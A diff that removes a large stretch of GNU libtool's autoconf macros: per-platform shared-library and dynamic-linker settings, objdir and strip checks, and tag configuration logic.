- # do not overwrite the value of need_locks provided by the user
- AC_MSG_CHECKING([if we can lock with hard links])
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- AC_MSG_RESULT([$hard_links])
- if test "$hard_links" = no; then
- AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be unsafe])
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-])# AC_LIBTOOL_SYS_HARD_LINK_LOCKS
-
-
-# AC_LIBTOOL_OBJDIR
-# -----------------
-AC_DEFUN([AC_LIBTOOL_OBJDIR],
-[AC_CACHE_CHECK([for objdir], [lt_cv_objdir],
-[rm -f .libs 2>/dev/null
-mkdir .libs 2>/dev/null
-if test -d .libs; then
- lt_cv_objdir=.libs
-else
- # MS-DOS does not allow filenames that begin with a dot.
- lt_cv_objdir=_libs
-fi
-rmdir .libs 2>/dev/null])
-objdir=$lt_cv_objdir
-])# AC_LIBTOOL_OBJDIR
-
-
-# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH([TAGNAME])
-# ----------------------------------------------
-# Check hardcoding attributes.
-AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH],
-[AC_MSG_CHECKING([how to hardcode library paths into programs])
-_LT_AC_TAGVAR(hardcode_action, $1)=
-if test -n "$_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)" || \
- test -n "$_LT_AC_TAGVAR(runpath_var, $1)" || \
- test "X$_LT_AC_TAGVAR(hardcode_automatic, $1)" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$_LT_AC_TAGVAR(hardcode_direct, $1)" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)" != no &&
- test "$_LT_AC_TAGVAR(hardcode_minus_L, $1)" != no; then
- # Linking always hardcodes the temporary library directory.
- _LT_AC_TAGVAR(hardcode_action, $1)=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- _LT_AC_TAGVAR(hardcode_action, $1)=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- _LT_AC_TAGVAR(hardcode_action, $1)=unsupported
-fi
-AC_MSG_RESULT([$_LT_AC_TAGVAR(hardcode_action, $1)])
-
-if test "$_LT_AC_TAGVAR(hardcode_action, $1)" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-])# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH
-
-
-# AC_LIBTOOL_SYS_LIB_STRIP
-# ------------------------
-AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP],
-[striplib=
-old_striplib=
-AC_MSG_CHECKING([whether stripping libraries is possible])
-if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then
- test -z "$old_striplib" && old_striplib="$STRIP --strip-debug"
- test -z "$striplib" && striplib="$STRIP --strip-unneeded"
- AC_MSG_RESULT([yes])
-else
-# FIXME - insert some real tests, host_os isn't really good enough
- case $host_os in
- darwin*)
- if test -n "$STRIP" ; then
- striplib="$STRIP -x"
- AC_MSG_RESULT([yes])
- else
- AC_MSG_RESULT([no])
-fi
- ;;
- *)
- AC_MSG_RESULT([no])
- ;;
- esac
-fi
-])# AC_LIBTOOL_SYS_LIB_STRIP
-
-
-# AC_LIBTOOL_SYS_DYNAMIC_LINKER
-# -----------------------------
-# PORTME Fill in your ld.so characteristics
-AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER],
-[AC_MSG_CHECKING([dynamic linker characteristics])
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[[01]] | aix4.[[01]].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[[45]]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | [grep ';[c-zC-Z]:/' >/dev/null]; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[[123]]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[[01]]* | freebsdelf3.[[01]]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[[2-9]]* | freebsdelf3.[[2-9]]* | \
- freebsd4.[[0-5]] | freebsdelf4.[[0-5]] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \[$]2)); skip = 1; } { if (!skip) print \[$]0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[[89]] | openbsd2.[[89]].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-AC_MSG_RESULT([$dynamic_linker])
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
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-])# AC_LIBTOOL_SYS_DYNAMIC_LINKER
-
-
-# _LT_AC_TAGCONFIG
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-
-if test -f "$ltmain" && test -n "$tagnames"; then
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- AC_MSG_WARN([output file `$ofile' does not exist])
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-
- if test -z "$LTCC"; then
- eval "`$SHELL ${ofile} --config | grep '^LTCC='`"
- if test -z "$LTCC"; then
- AC_MSG_WARN([output file `$ofile' does not look like a libtool script])
- else
- AC_MSG_WARN([using `LTCC=$LTCC', extracted from `$ofile'])
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- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
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-
- if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null
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- AC_MSG_ERROR([tag name \"$tagname\" already exists])
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-
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- AC_LIBTOOL_LANG_CXX_CONFIG
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- AC_LIBTOOL_LANG_GCJ_CONFIG
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- AC_LIBTOOL_LANG_RC_CONFIG
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- AC_MSG_ERROR([Unsupported tag name: $tagname])
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- IFS="$lt_save_ifs"
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- AC_MSG_ERROR([unable to update list of available tagged configurations.])
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-])# _LT_AC_TAGCONFIG
-
-
-# AC_LIBTOOL_DLOPEN
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-AC_DEFUN([AC_LIBTOOL_DLOPEN],
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-
-# AC_LIBTOOL_WIN32_DLL
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-AC_DEFUN([AC_LIBTOOL_WIN32_DLL],
-[AC_BEFORE([$0], [AC_LIBTOOL_SETUP])
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-
-# AC_ENABLE_SHARED([DEFAULT])
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-AC_ARG_ENABLE([shared],
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- *)
- enable_shared=no
- # Look at the argument we got. We use all the common list separators.
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
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- IFS="$lt_save_ifs"
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-AC_DEFUN([AC_DISABLE_SHARED],
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-AC_ENABLE_SHARED(no)
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-
-# AC_ENABLE_STATIC([DEFAULT])
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-AC_DEFUN([AC_ENABLE_STATIC],
-[define([AC_ENABLE_STATIC_DEFAULT], ifelse($1, no, no, yes))dnl
-AC_ARG_ENABLE([static],
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-
-# AC_ENABLE_FAST_INSTALL([DEFAULT])
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- enable_fast_install=no
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- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
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- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
-dnl $ac_dummy forces splitting on constant user-supplied paths.
-dnl POSIX.2 word splitting is done only on the output of word expansions,
-dnl not every word. This closes a longstanding sh security hole.
- ac_dummy="ifelse([$2], , $PATH, [$2])"
- for ac_dir in $ac_dummy; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f $ac_dir/$1; then
- lt_cv_path_MAGIC_CMD="$ac_dir/$1"
- if test -n "$file_magic_test_file"; then
- case $deplibs_check_method in
- "file_magic "*)
- file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
- if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
- $EGREP "$file_magic_regex" > /dev/null; then
- :
- else
- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
-*** $file_magic_cmd, produces output that libtool cannot recognize.
-*** The result is that libtool may fail to recognize shared libraries
-*** as such. This will affect the creation of libtool libraries that
-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
-*** may want to report the problem to your system manager and/or to
-*** bug-libtool@gnu.org
-
-EOF
- fi ;;
- esac
- fi
- break
- fi
- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac])
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
- AC_MSG_RESULT($MAGIC_CMD)
-else
- AC_MSG_RESULT(no)
-fi
-])# AC_PATH_TOOL_PREFIX
-
-
-# AC_PATH_MAGIC
-# -------------
-# find a file program which can recognise a shared library
-AC_DEFUN([AC_PATH_MAGIC],
